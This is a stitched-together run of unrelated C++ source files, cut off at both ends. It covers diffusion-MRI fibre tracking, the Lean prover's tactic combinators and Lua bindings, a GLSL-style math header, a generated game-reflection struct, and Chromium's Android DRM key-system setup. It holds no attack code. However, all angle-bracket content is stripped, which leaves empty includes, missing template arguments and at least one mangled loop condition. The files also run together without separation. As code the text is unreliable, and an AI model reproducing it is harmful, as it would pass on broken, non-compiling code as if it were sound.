accute direction, the dotProd should be greater than the maxBendingAngle since in fact the maxBendingAngle = cos(Angle), for the cosine, decreasing the angle will increase the cosine value. In equation, we want: theta < maxAngle -> cos(theta) > cos(maxAngle) */ dotProd = QVector3D::dotProduct(oldPropDir,newPropDir); if (abs(dotProd) > maxBendingAngle || sumOldPropDir ==0 || nTries == 5) directionFound = true; } if(dotProd < 0) newPropDir = -newPropDir; return newPropDir; } /**************************************************************************************************/ // FACT tracking bool DiffusionModel::FACT_DTI(TrackingParameters tp,FiberTracts &fibers,MyProgressDialog *progress) { double nSeeds, reserveLen = (longestFiber+5.0)/tp.propStep; if (modelType != DTI) return false; // this function takes as input the ROI points and the tracking parameters // and output the fibers double length; QVector3D propDir; // use all brain as ROI QVector ROI_Points; ROI_Points.reserve(accu(Mask)); for (uint i=0;i= tp.limitingMetricStart) ROI_Points.append(QVector3D(i,j,k)); ROI_Points.squeeze(); nSeeds = ROI_Points.size(); progress->setLabelText("Generating tracts ..."); progress->setRange(0,ROI_Points.size()); progress->setModal(true); progress->setValue(0); progress->setFixedSize(progress->sizeHint()); progress->show(); // initialize the fiber object, we will clear all previously existing fibers fibers.clear(); fibers.setDataDimension(nRows,nCols,nSlices); fibers.setVoxelDimension(dx,dy,dz); Polyline fiber; int j =0, k =0,l = 0; for (int i=0;iwasCanceled()) { // free memory fiber.clear(); return false; } j = ROI_Points[i].x(); k = ROI_Points[i].y(); l = ROI_Points[i].z(); // to speed up, reserve memory then squeeze fiber.reserve(reserveLen); fiber.append(ROI_Points[i]); // building in one direction (up) first propDir = QVector3D(eVecPy.at(j,k,l),eVecPx.at(j,k,l),eVecPz.at(j,k,l)); createFACT_DTI_Tract(ROI_Points[i],propDir,tp,fiber); // building in the other direction (down) if ( fiber.last() != fiber.first() ) { // flip fiber for(float k = 0; k < (fiber.size()/2.0); k++) qSwap(fiber[k],fiber[fiber.size()-(1+k)]); createFACT_DTI_Tract(ROI_Points[i],-propDir,tp,fiber); } // remove excessive memory fiber.squeeze(); // compute fiber length, we take the voxel size in consideration length = tp.propStep*fiber.size(); if (length >= tp.minFiberLength) { if (tp.smooth) fiber = smoothFiber(fiber,tp.smoothingQual); fibers.append(fiber,tp.fiberColor,length); } // free memory fiber.clear(); progress->setValue(i+1); } return true; } void DiffusionModel::createFACT_DTI_Tract(QVector3D seed, QVector3D propDir, const TrackingParameters &tp, Polyline &fiber) { bool ContinueFlag = true; double dotProd = 0, step = qSqrt(2.0)*tp.propStep/(QVector3D(dx,dy,dz).length()); QVector3D newPropDir = QVector3D(0,0,0); // first seed is known to be integer and in the volume int i = seed.x(), j = seed.y(), k = seed.z(); while (ContinueFlag) { // test for non-relevant voxel if(FA(i,j,k) < tp.limitingMetricStop) break; else { seed += step*propDir; fiber.append(seed); i = qRound(seed.x()); j = qRound(seed.y()); k = qRound(seed.z()); // test for out of range voxel if (i<0 || i>=nRows || j<0 || j>=nCols || k<0 || k>=nSlices) break; // propagate newPropDir = QVector3D(eVecPy(i,j,k),eVecPx(i,j,k),eVecPz(i,j,k)); dotProd = QVector3D::dotProduct(propDir,newPropDir); if(dotProd < 0) newPropDir = -newPropDir; // propDir . newPropDir = cos(theta) since they are unit vectors /* note that theta should be less than the bendMax not greater, the reason for that can be understood from the following drawing: / /theta --->/----> from the above, we can see that we want to break once the angle surpasses the threshold angle, hence the dot product should be less than the maxBendingAngle since in fact the maxBendingAngle = cos(Angle), and for the cosine, increasing the angle will decrease the cosine value. In equation, break if theta > maxAngle -> cos(theta) < cos(maxAngle). */ if(qAbs(dotProd) < tp.maxBendingAngle) ContinueFlag = false; propDir = newPropDir; } // no fiber could be longer than 350 mm, check: // ; , Su-Jeong ; Istook, . // Analysis of Human Head Shapes in the United States // International journal of human ecology; ISSN:1598-1762 // @ 1598-9593 @ ; VOL.7; NO.1; PAGE.77-83; (2006) if (tp.propStep*fiber.size() > longestFiber) ContinueFlag = false; } } /**************************************************************************************************/ inline Polyline DiffusionModel::smoothFiber(Polyline &fiber, int smoothingQual) { // sample the fiber to decrease number of points // Given that the sampling quality can vary from 5 to 20, // I want small fibers (<50 points) stay small but not be // oversampled in case of large smoothing quality. On the other // hand, I want large fibers (>300) to be largerly sampled so that // the number of points after reconstruction does not exceed 300 int skip = smoothingQual; if (fiber.size() < 50 && smoothingQual > 10) skip = 5; else if (fiber.size() > 300) skip = qCeil(fiber.size()*smoothingQual/300.0); Polyline tmp; tmp.reserve(qCeil(fiber.size()/skip)+1); for (int s = 0; s < fiber.size() - 1; s+=skip) tmp.append(fiber.at(s)); tmp.append(fiber.last()); return BSpline::bSplineDeBoor(tmp,smoothingQual); } /* Copyright (c) 2013-2014 Microsoft Corporation. All rights reserved. Released under Apache 2.0 license as described in the file LICENSE. Author: */ #include #include #include #include "util/luaref.h" #include "util/sstream.h" #include "util/interrupt.h" #include "util/lazy_list_fn.h" #include "util/list_fn.h" #include "kernel/instantiate.h" #include "kernel/type_checker.h" #include "kernel/for_each_fn.h" #include "kernel/replace_visitor.h" #include "library/kernel_bindings.h" #include "library/tactic/tactic.h" #include "library/io_state_stream.h" namespace lean { /** \brief Throw an exception is \c v contains local constants, \c e is only used for position information. */ void check_has_no_local(expr const & v, expr const & e, char const * tac_name) { if (has_local(v)) { for_each(v, [&](expr const & l, unsigned) { if (is_local(l)) throw tactic_exception(e, sstream() << "tactic '" << tac_name << "' contains reference to local '" << local_pp_name(l) << "' which is not visible by this tactic " << "possible causes: it was not marked as [fact]; it was destructued"); return has_local(l); }); } } tactic_exception::tactic_exception(expr const & e, char const * msg):exception(msg), m_expr(e) {} tactic_exception::tactic_exception(expr const & e, sstream const & strm):exception(strm), m_expr(e) {} tactic tactic01(std::function(environment const &, io_state const & ios, proof_state const &)> f) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) { return mk_proof_state_seq([=]() { auto r = f(env, ios, s); if (r) return some(mk_pair(*r, proof_state_seq())); else return proof_state_seq::maybe_pair(); }); }); } tactic tactic1(std::function f) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) { return mk_proof_state_seq([=]() { auto r = f(env, ios, s); return some(mk_pair(r, proof_state_seq())); }); }); } tactic id_tactic() { return tactic1([](environment const &, io_state const &, proof_state const & s) -> proof_state { return s; }); } tactic fail_tactic() { return tactic([](environment const &, io_state const &, proof_state const &) -> proof_state_seq { return proof_state_seq(); }); } tactic now_tactic() { return tactic01([](environment const &, io_state const &, proof_state const & s) -> optional { if (!empty(s.get_goals())) return none_proof_state(); else return some(s); }); } tactic cond(proof_state_pred p, tactic const & t1, tactic const & t2) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state_seq { return mk_proof_state_seq([=]() { if (p(env, ios, s)) { return t1(env, ios, s).pull(); } else { return t2(env, ios, s).pull(); } }); }); } tactic trace_tactic(std::string const & msg) { return tactic1([=](environment const &, io_state const & ios, proof_state const & s) -> proof_state { ios.get_diagnostic_channel() << msg << "\n"; ios.get_diagnostic_channel().get_stream().flush(); return s; }); } tactic trace_tactic(sstream const & msg) { return trace_tactic(msg.str()); } tactic trace_tactic(char const * msg) { return trace_tactic(std::string(msg)); } tactic trace_state_tactic(std::string const & fname, std::pair const & pos) { return tactic1([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state { diagnostic(env, ios) << fname << ":" << pos.first << ":" << pos.second << ": proof state\n" << s << endl; ios.get_diagnostic_channel().get_stream().flush(); return s; }); } tactic trace_state_tactic() { return tactic1([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state { diagnostic(env, ios) << "proof state\n" << s << endl; ios.get_diagnostic_channel().get_stream().flush(); return s; }); } tactic suppress_trace(tactic const & t) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state_seq { io_state new_ios(ios); std::shared_ptr out(std::make_shared()); new_ios.set_diagnostic_channel(out); return t(env, new_ios, s); }); } tactic then(tactic const & t1, tactic const & t2) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s1) -> proof_state_seq { return map_append(t1(env, ios, s1), [=](proof_state const & s2) { check_interrupted(); return t2(env, ios, s2); }, "THEN tactical"); }); } tactic orelse(tactic const & t1, tactic const & t2) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state_seq { return orelse(t1(env, ios, s), t2(env, ios, s), "ORELSE tactical"); }); } tactic using_params(tactic const & t, options const & opts) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state_seq { io_state new_ios(ios); new_ios.set_options(join(opts, ios.get_options())); return t(env, new_ios, s); }); } tactic try_for(tactic const & t, unsigned ms, unsigned check_ms) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state_seq { return timeout(t(env, ios, s), ms, check_ms); }); } tactic append(tactic const & t1, tactic const & t2) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state_seq { return append(t1(env, ios, s), t2(env, ios, s), "APPEND tactical"); }); } tactic interleave(tactic const & t1, tactic const & t2) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state_seq { return interleave(t1(env, ios, s), t2(env, ios, s), "INTERLEAVE tactical"); }); } tactic par(tactic const & t1, tactic const & t2, unsigned check_ms) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state_seq { return par(t1(env, ios, s), t2(env, ios, s), check_ms); }); } tactic repeat(tactic const & t) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s1) -> proof_state_seq { return repeat(s1, [=](proof_state const & s2) { return t(env, ios, s2); }, "REPEAT tactical"); }); } tactic repeat_at_most(tactic const & t, unsigned k) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s1) -> proof_state_seq { return repeat_at_most(s1, [=](proof_state const & s2) { return t(env, ios, s2); }, k, "REPEAT_AT_MOST tactical"); }); } tactic take(tactic const & t, unsigned k) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state_seq { return take(k, t(env, ios, s)); }); } tactic discard(tactic const & t, unsigned k) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state_seq { auto r = t(env, ios, s); for (unsigned i = 0; i < k; i++) { auto m = r.pull(); if (!m) return proof_state_seq(); r = m->second; } return r; }); } tactic assumption_tactic() { return tactic01([](environment const &, io_state const &, proof_state const & s) -> optional { substitution subst = s.get_subst(); bool solved = false; goals new_gs = map_goals(s, [&](goal const & g) -> optional { expr const & t = g.get_type(); optional h; buffer locals; get_app_args(g.get_meta(), locals); for (auto const & l : locals) { if (mlocal_type(l) == t) { h = l; break; } } if (h) { subst.assign(g.get_mvar(), g.abstract(*h), justification()); solved = true; return optional(); } else { return some(g); } }); if (solved) return some(proof_state(s, new_gs, subst)); else return none_proof_state(); }); } tactic exact_tactic(expr const & _e) { return tactic01([=](environment const & env, io_state const &, proof_state const & s) { type_checker tc(env); substitution subst = s.get_subst(); goals const & gs = s.get_goals(); goal const & g = head(gs); expr e = subst.instantiate(_e); expr e_t = subst.instantiate(tc.infer(e)); expr t = subst.instantiate(g.get_type()); if (tc.is_def_eq(e_t, t) && !tc.next_cnstr()) { expr new_p = g.abstract(e); check_has_no_local(new_p, _e, "exact"); subst.assign(g.get_name(), new_p); return some(proof_state(s, tail(gs), subst)); } else { return none_proof_state(); } }); } tactic beta_tactic() { return tactic01([=](environment const &, io_state const &, proof_state const & s) -> optional { bool reduced = false; goals new_gs = map_goals(s, [&](goal const & g) -> optional { expr new_meta = beta_reduce(g.get_meta()); expr new_type = beta_reduce(g.get_type()); if (new_meta != g.get_meta() || new_type != g.get_type()) reduced = true; return some(goal(new_meta, new_type)); }); return reduced ? some(proof_state(s, new_gs)) : none_proof_state(); }); } proof_state_seq focus_core(tactic const & t, unsigned i, environment const & env, io_state const & ios, proof_state const & s) { goals gs = s.get_goals(); if (i >= length(gs)) return proof_state_seq(); goal const & g = get_ith(gs, i); proof_state new_s(s, goals(g)); // singleton goal return map(t(env, ios, new_s), [=](proof_state const & s2) { // we have to put back the goals that were not selected buffer tmp; to_buffer(gs, tmp); buffer new_gs; new_gs.append(i, tmp.data()); for (auto g : s2.get_goals()) new_gs.push_back(g); new_gs.append(tmp.size()-i-1, tmp.data()+i+1); return proof_state(s2, to_list(new_gs.begin(), new_gs.end())); }); } tactic focus(tactic const & t, unsigned i) { return tactic([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state_seq { return focus_core(t, i, env, ios, s); }); } class unfold_core_fn : public replace_visitor { protected: bool m_unfolded; virtual expr visit_app(expr const & e) { expr const & f = get_app_fn(e); if (is_constant(f)) { expr new_f = visit(f); bool modified = new_f != f; buffer new_args; get_app_args(e, new_args); for (unsigned i = 0; i < new_args.size(); i++) { expr arg = new_args[i]; new_args[i] = visit(arg); if (!modified && new_args[i] != arg) modified = true; } if (is_lambda(new_f)) { std::reverse(new_args.begin(), new_args.end()); return apply_beta(new_f, new_args.size(), new_args.data()); } else if (modified) { return mk_app(new_f, new_args); } else { return e; } } else { return replace_visitor::visit_app(e); } } public: unfold_core_fn():m_unfolded(false) {} bool unfolded() const { return m_unfolded; } }; class unfold_fn : public unfold_core_fn { protected: name const & m_name; level_param_names const & m_ps; expr const & m_def; virtual expr visit_constant(expr const & c) { if (const_name(c) == m_name) { m_unfolded = true; return instantiate_univ_params(m_def, m_ps, const_levels(c)); } else { return c; } } public: unfold_fn(name const & n, level_param_names const & ps, expr const & d):m_name(n), m_ps(ps), m_def(d) {} }; class unfold_all_fn : public unfold_core_fn { protected: environment m_env; virtual expr visit_constant(expr const & c) { optional d = m_env.find(const_name(c)); if (d && d->is_definition() && (!d->is_opaque() || d->get_module_idx() == 0)) { m_unfolded = true; return instantiate_univ_params(d->get_value(), d->get_univ_params(), const_levels(c)); } else { return c; } } public: unfold_all_fn(environment const & env):m_env(env) {} }; optional unfold_tactic_core(unfold_core_fn & fn, proof_state const & s) { bool reduced = false; goals new_gs = map_goals(s, [&](goal const & g) -> optional { expr new_meta = fn(g.get_meta()); expr new_type = fn(g.get_type()); if (new_meta != g.get_meta() || new_type != g.get_type()) reduced = true; return some(goal(new_meta, new_type)); }); if (reduced) { return some(proof_state(s, new_gs)); } else { return none_proof_state(); } } tactic unfold_tactic(name const & n) { return tactic01([=](environment const & env, io_state const &, proof_state const & s) -> optional { optional d = env.find(n); if (!d || !d->is_definition() || (d->is_opaque() && d->get_module_idx() != 0)) return none_proof_state(); // tactic failed unfold_fn fn(n, d->get_univ_params(), d->get_value()); return unfold_tactic_core(fn, s); }); } tactic unfold_tactic() { return tactic01([=](environment const & env, io_state const &, proof_state const & s) -> optional { unfold_all_fn fn(env); return unfold_tactic_core(fn, s); }); } DECL_UDATA(proof_state_seq) static const struct luaL_Reg proof_state_seq_m[] = { {"__gc", proof_state_seq_gc}, // never throws {0, 0} }; static int proof_state_seq_next(lua_State * L) { proof_state_seq seq = to_proof_state_seq(L, lua_upvalueindex(1)); auto p = seq.pull(); if (p) { push_proof_state_seq(L, p->second); lua_replace(L, lua_upvalueindex(1)); push_proof_state(L, p->first); } else { lua_pushnil(L); } return 1; } static int push_proof_state_seq_it(lua_State * L, proof_state_seq const & seq) { push_proof_state_seq(L, seq); lua_pushcclosure(L, &safe_function, 1); // create closure with 1 upvalue return 1; } DECL_UDATA(tactic) [[ noreturn ]] void throw_tactic_expected(int i) { throw exception(sstream() << "arg #" << i << " must be a tactic or a function that returns a tactic"); } static int tactic_call_core(lua_State * L, tactic t, environment env, io_state ios, proof_state s) { return push_proof_state_seq_it(L, t(env, ios, s)); } static int tactic_call(lua_State * L) { int nargs = lua_gettop(L); tactic t = to_tactic(L, 1); environment env = to_environment(L, 2); if (nargs == 3) return tactic_call_core(L, t, env, get_io_state(L), to_proof_state(L, 3)); else return tactic_call_core(L, t, env, to_io_state(L, 3), to_proof_state(L, 4)); } typedef tactic (*binary_tactic_fn)(tactic const &, tactic const &); template static int nary_tactic(lua_State * L) { int nargs = lua_gettop(L); if (nargs < 2) throw exception("tactical expects at least two arguments"); tactic r = F(to_tactic(L, 1), to_tactic(L, 2)); for (int i = 3; i <= nargs; i++) r = F(r, to_tactic(L, i)); return push_tactic(L, r); } static int tactic_then(lua_State * L) { return push_tactic(L, then(to_tactic(L, 1), to_tactic(L, 2))); } static int tactic_orelse(lua_State * L) { return push_tactic(L, orelse(to_tactic(L, 1), to_tactic(L, 2))); } static int tactic_append(lua_State * L) { return push_tactic(L, append(to_tactic(L, 1), to_tactic(L, 2))); } static int tactic_interleave(lua_State * L) { return push_tactic(L, interleave(to_tactic(L, 1), to_tactic(L, 2))); } static int tactic_par(lua_State * L) { return push_tactic(L, par(to_tactic(L, 1), to_tactic(L, 2))); } static int tactic_repeat(lua_State * L) { return push_tactic(L, repeat(to_tactic(L, 1))); } static int tactic_repeat_at_most(lua_State * L) { return push_tactic(L, repeat_at_most(to_tactic(L, 1), luaL_checkinteger(L, 2))); } static int tactic_take(lua_State * L) { return push_tactic(L, take(to_tactic(L, 1), luaL_checkinteger(L, 2))); } static int tactic_suppress_trace(lua_State * L) { return push_tactic(L, suppress_trace(to_tactic(L, 1))); } static int tactic_try_for(lua_State * L) { return push_tactic(L, try_for(to_tactic(L, 1), luaL_checkinteger(L, 2))); } static int tactic_using_params(lua_State * L) { return push_tactic(L, using_params(to_tactic(L, 1), to_options(L, 2))); } static int tactic_focus(lua_State * L) { int nargs = lua_gettop(L); if (nargs == 1) return push_tactic(L, focus(to_tactic(L, 1))); else return push_tactic(L, focus(to_tactic(L, 1), lua_tointeger(L, 2))); } static int mk_lua_tactic01(lua_State * L) { luaL_checktype(L, 1, LUA_TFUNCTION); // user-fun luaref ref(L, 1); tactic t = tactic01([=](environment const & env, io_state const & ios, proof_state const & s) -> optional { ref.push(); // push user-fun on the stack push_environment(L, env); // push args... push_io_state(L, ios); push_proof_state(L, s); pcall(L, 3, 1, 0); optional r; if (is_proof_state(L, -1)) r = to_proof_state(L, -1); lua_pop(L, 1); return r; }); return push_tactic(L, t); } static int mk_lua_cond_tactic(lua_State * L, tactic t1, tactic t2) { luaL_checktype(L, 1, LUA_TFUNCTION); // user-fun luaref ref(L, 1); tactic t = tactic([=](environment const & env, io_state const & ios, proof_state const & s) -> proof_state_seq { return mk_proof_state_seq([=]() { ref.push(); // push user-fun on the stack push_environment(L, env); // push args... push_io_state(L, ios); push_proof_state(L, s); pcall(L, 3, 1, 0); bool cond = lua_toboolean(L, -1); lua_pop(L, 1); if (cond) { return t1(env, ios, s).pull(); } else { return t2(env, ios, s).pull(); } }); }); return push_tactic(L, t); } static int mk_lua_cond_tactic(lua_State * L) { return mk_lua_cond_tactic(L, to_tactic(L, 2), to_tactic(L, 3)); } static int mk_lua_when_tactic(lua_State * L) { return mk_lua_cond_tactic(L, to_tactic(L, 2), id_tactic()); } static int mk_id_tactic(lua_State * L) { return push_tactic(L, id_tactic()); } static int mk_now_tactic(lua_State * L) { return push_tactic(L, now_tactic()); } static int mk_fail_tactic(lua_State * L) { return push_tactic(L, fail_tactic()); } static int mk_trace_tactic(lua_State * L) { return push_tactic(L, trace_tactic(luaL_checkstring(L, 1))); } static int mk_assumption_tactic(lua_State * L) { return push_tactic(L, assumption_tactic()); } static int mk_unfold_tactic(lua_State * L) { int nargs = lua_gettop(L); if (nargs == 0) return push_tactic(L, unfold_tactic()); else return push_tactic(L, unfold_tactic(to_name_ext(L, 1))); } static int mk_beta_tactic(lua_State * L) { return push_tactic(L, beta_tactic()); } static const struct luaL_Reg tactic_m[] = { {"__gc", tactic_gc}, // never throws {"__call", safe_function}, {"__concat", safe_function}, {"__pow", safe_function}, {"__add", safe_function}, {"then", safe_function}, {"orelse", safe_function}, {"append", safe_function}, {"interleave", safe_function}, {"par", safe_function}, {"repeat", safe_function}, {"repeat_at_most", safe_function}, {"take", safe_function}, {"suppress_trace", safe_function}, {"try_for", safe_function}, {"using_params", safe_function}, {"using", safe_function}, {"focus", safe_function}, {0, 0} }; void open_tactic(lua_State * L) { luaL_newmetatable(L, proof_state_seq_mt); lua_pushvalue(L, -1); lua_setfield(L, -2, "__index"); setfuncs(L, proof_state_seq_m, 0); SET_GLOBAL_FUN(proof_state_seq_pred, "is_proof_state_seq"); luaL_newmetatable(L, tactic_mt); lua_pushvalue(L, -1); lua_setfield(L, -2, "__index"); setfuncs(L, tactic_m, 0); SET_GLOBAL_FUN(tactic_pred, "is_tactic"); SET_GLOBAL_FUN(mk_trace_tactic, "trace_tac"); SET_GLOBAL_FUN(mk_id_tactic, "id_tac"); SET_GLOBAL_FUN(mk_now_tactic, "now_tac"); SET_GLOBAL_FUN(mk_fail_tactic, "fail_tac"); SET_GLOBAL_FUN(mk_assumption_tactic, "assumption_tac"); SET_GLOBAL_FUN(mk_unfold_tactic, "unfold_tac"); SET_GLOBAL_FUN(mk_beta_tactic, "beta_tac"); SET_GLOBAL_FUN(mk_lua_tactic01, "tactic01"); // HOL-like tactic names SET_GLOBAL_FUN(nary_tactic, "Then"); SET_GLOBAL_FUN(nary_tactic, "OrElse"); SET_GLOBAL_FUN(nary_tactic, "Interleave"); SET_GLOBAL_FUN(nary_tactic, "Append"); SET_GLOBAL_FUN(nary_tactic, "Par"); SET_GLOBAL_FUN(tactic_repeat, "Repeat"); SET_GLOBAL_FUN(tactic_repeat_at_most, "RepeatAtMost"); SET_GLOBAL_FUN(mk_lua_cond_tactic, "Cond"); SET_GLOBAL_FUN(mk_lua_when_tactic, "When"); SET_GLOBAL_FUN(tactic_try_for, "TryFor"); SET_GLOBAL_FUN(tactic_take, "Take"); SET_GLOBAL_FUN(tactic_using_params, "Using"); SET_GLOBAL_FUN(tactic_using_params, "UsingParams"); SET_GLOBAL_FUN(tactic_focus, "Focus"); } } nyorain/tokonoma #pragma once // Allows to code as glsl-like as possible #include #include #include #include #include #include namespace tkn::glsl { using nytl::Vec; using nytl::radians; using nytl::degrees; using nytl::mix; using nytl::smoothstep; using nytl::dot; using nytl::cross; using nytl::length; using nytl::normalize; using nytl::distance; using std::sin; using std::cos; using std::tan; using std::asin; using std::acos; using std::atan; using std::pow; using std::exp; using std::log; using std::exp2; using std::log2; using std::sqrt; using std::abs; using std::ceil; using std::floor; using std::min; using std::max; using std::clamp; using namespace nytl::vec::cw; using nytl::vec::operators::operator*; using nytl::vec::operators::operator/; using nytl::vec::cw::operators::operator*; using nytl::vec::cw::operators::operator/; using nytl::vec::cw::operators::operator*=; using nytl::vec::cw::operators::operator/=; using nytl::vec::cw::operators::operator+; using nytl::vec::cw::operators::operator-; using uint = std::uint32_t; using vec2 = nytl::Vec<2, float>; using vec3 = nytl::Vec<3, float>; using vec4 = nytl::Vec<4, float>; using uvec2 = nytl::Vec<2, uint>; using uvec3 = nytl::Vec<3, uint>; using uvec4 = nytl::Vec<4, uint>; using ivec2 = nytl::Vec<2, int>; using ivec3 = nytl::Vec<3, int>; using ivec4 = nytl::Vec<4, int>; using mat2 = nytl::Mat2f; using mat3 = nytl::Mat3f; using mat4 = nytl::Mat4f; float inversesqrt(float x) { return 1 / sqrt(x); } float sign(float x) { return (x > 0) ? 1.f : (x < 0) ? -1.f : 0.f; } float fract(float x) { return x - floor(x); } float step(float edge, float x) { return x < edge ? 0.0 : 1.0; } float length(float x) { return x; } float distance(float a, float b) { return abs(a - b); } float normalize(float) { return 1.0; } float mod(float x, float y) { return std::fmod(x, y); } template constexpr auto normalize(const Vec& a) { return nytl::normalized(a); } template constexpr auto min(Vec a, const T& val) { for(auto& v : a) v = min(v, val); return a; } template constexpr auto max(Vec a, const T& val) { for(auto& v : a) v = max(v, val); return a; } template constexpr auto step(const T& edge, Vec x) { for(auto& v : x) v = step(edge, v); return x; } template constexpr auto step(const Vec& edge, Vec x) { for(auto i = 0u; i < D; ++i) x[i] = step(edge[i], x[i]); return x; } template constexpr auto smoothstep(const Vec& edge0, const Vec& edge1, Vec x) { for(auto i = 0u; i < D; ++i) x[i] = smoothstep(edge0[i], edge1[i], x[i]); return x; } template constexpr auto mod(Vec x, const Vec& y) { for(auto i = 0u; i < D; ++i) x[i] = std::fmod(x[i], y[i]); return x; } template constexpr auto mod(Vec x, const T& y) { for(auto i = 0u; i < D; ++i) x[i] = std::fmod(x[i], y); return x; } template Vec inversesqrt(Vec x) { for(auto& v : x) v = inversesqrt(v); return x; } template Vec sign(Vec x) { for(auto& v : x) v = sign(v); return x; } template Vec fract(Vec x) { for(auto& v : x) v = fract(v); return x; } } // namespace tkn::glsl include/RED4ext/Scripting/Natives/Generated/audio/KeySoundEventDictionary.hpp #pragma once // This file is generated from the Game's Reflection data #include #include #include #include #include #include namespace RED4ext { namespace audio { struct KeySoundEventDictionary : audio::InlinedAudioMetadata { static constexpr const char* NAME = "audioKeySoundEventDictionary"; static constexpr const char* ALIAS = NAME; Handle entryType; // 38 DynArray entries; // 48 uint8_t unk58[0x88 - 0x58]; // 58 }; RED4EXT_ASSERT_SIZE(KeySoundEventDictionary, 0x88); } // namespace audio } // namespace RED4ext // Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/cdm/renderer/android_key_systems.h" #include #include #include "base/command_line.h" #include "base/logging.h" #include "content/public/renderer/render_thread.h" #include "media/base/eme_constants.h" #include "media/base/media_switches.h" #include "media/media_buildflags.h" #if BUILDFLAG(ENABLE_WIDEVINE) #include "components/cdm/renderer/widevine_key_system_properties.h" #include "third_party/widevine/cdm/widevine_cdm_common.h" #endif // BUILDFLAG(ENABLE_WIDEVINE) using media::EmeConfigRule; using media::EmeFeatureSupport; using media::EmeInitDataType; using media::EmeSessionTypeSupport; using media::KeySystemProperties; using media::SupportedCodecs; #if BUILDFLAG(ENABLE_WIDEVINE) using Robustness = cdm::WidevineKeySystemProperties::Robustness; #endif // BUILDFLAG(ENABLE_WIDEVINE) namespace cdm { namespace { // Implementation of KeySystemProperties for platform-supported key systems. // Assumes that platform key systems support no features but can and will // make use of persistence and identifiers. class AndroidPlatformKeySystemProperties : public KeySystemProperties { public: AndroidPlatformKeySystemProperties(const std::string& name, SupportedCodecs supported_codecs) : name_(name), supported_codecs_(supported_codecs) {} std::string GetKeySystemName() const override { return name_; } bool IsSupportedInitDataType(EmeInitDataType init_data_type) const override { // Here we assume that support for a container implies support for the // associated initialization data type. KeySystems handles validating // |init_data_type| x |container| pairings. switch (init_data_type) { case EmeInitDataType::WEBM: return (supported_codecs_ & media::EME_CODEC_WEBM_ALL) != 0; case EmeInitDataType::CENC: return (supported_codecs_ & media::EME_CODEC_MP4_ALL) != 0; case EmeInitDataType::KEYIDS: case EmeInitDataType::UNKNOWN: return false; } NOTREACHED(); return false; } EmeConfigRule GetEncryptionSchemeConfigRule( media::EncryptionScheme encryption_scheme) const override { return encryption_scheme == media::EncryptionScheme::kCenc ? EmeConfigRule::SUPPORTED : EmeConfigRule::NOT_SUPPORTED; } SupportedCodecs GetSupportedCodecs() const override { return supported_codecs_; } EmeConfigRule GetRobustnessConfigRule( media::EmeMediaType media_type, const std::string& requested_robustness) const override { return requested_robustness.empty() ? EmeConfigRule::SUPPORTED : EmeConfigRule::NOT_SUPPORTED; } EmeSessionTypeSupport GetPersistentLicenseSessionSupport() const override { return EmeSessionTypeSupport::NOT_SUPPORTED; } EmeSessionTypeSupport GetPersistentUsageRecordSessionSupport() const override { return EmeSessionTypeSupport::NOT_SUPPORTED; } EmeFeatureSupport GetPersistentStateSupport() const override { return EmeFeatureSupport::ALWAYS_ENABLED; } EmeFeatureSupport GetDistinctiveIdentifierSupport() const override { return EmeFeatureSupport::ALWAYS_ENABLED; } private: const std::string name_; const SupportedCodecs supported_codecs_; }; } // namespace SupportedKeySystemResponse QueryKeySystemSupport( const std::string& key_system) { SupportedKeySystemRequest request; SupportedKeySystemResponse response; request.key_system = key_system; request.codecs = media::EME_CODEC_ALL; content::RenderThread::Get()->Send( new ChromeViewHostMsg_QueryKeySystemSupport(request, &response)); DCHECK(!(response.non_secure_codecs & ~media::EME_CODEC_ALL)) << "unrecognized codec"; DCHECK(!(response.secure_codecs & ~media::EME_CODEC_ALL)) << "unrecognized codec"; return response; } #if BUILDFLAG(ENABLE_WIDEVINE) void AddAndroidWidevine( std::vector>* concrete_key_systems) { // TODO(crbug.com/853336): Use media.mojom.KeySystemSupport instead of // separate IPC. auto response = QueryKeySystemSupport(kWidevineKeySystem); auto codecs = response.non_secure_codecs; // On Android, ".secure" codecs are all hardware secure codecs. auto hw_secure_codecs = response.secure_codecs; // Since we do not control the implementation of the MediaDrm API on Android, // we assume that it can and will make use of persistence no matter whether // persistence-based features are supported or not. const EmeSessionTypeSupport persistent_license_support = response.is_persistent_license_supported ? EmeSessionTypeSupport::SUPPORTED_WITH_IDENTIFIER : EmeSessionTypeSupport::NOT_SUPPORTED; if (codecs != media::EME_CODEC_NONE) { DVLOG(3) << __func__ << " Widevine supported."; base::flat_set encryption_schemes = { media::EncryptionScheme::kCenc}; if (response.is_cbcs_encryption_supported) { encryption_schemes.insert(media::EncryptionScheme::kCbcs); } concrete_key_systems->emplace_back(new WidevineKeySystemProperties( codecs, // Regular codecs. encryption_schemes, // Encryption schemes. hw_secure_codecs, // Hardware secure codecs. encryption_schemes, // Hardware secure encryption schemes. Robustness::HW_SECURE_CRYPTO, // Max audio robustness. Robustness::HW_SECURE_ALL, // Max video robustness. persistent_license_support, // persistent-license. EmeSessionTypeSupport::NOT_SUPPORTED, // persistent-release-message. EmeFeatureSupport::ALWAYS_ENABLED, // Persistent state. EmeFeatureSupport::ALWAYS_ENABLED)); // Distinctive identifier. } else { // It doesn't make sense to support hw secure codecs but not regular codecs. DVLOG(3) << __func__ << " Widevine NOT supported."; DCHECK(hw_secure_codecs == media::EME_CODEC_NONE); } } #endif // BUILDFLAG(ENABLE_WIDEVINE) void AddAndroidPlatformKeySystems( std::vector>* 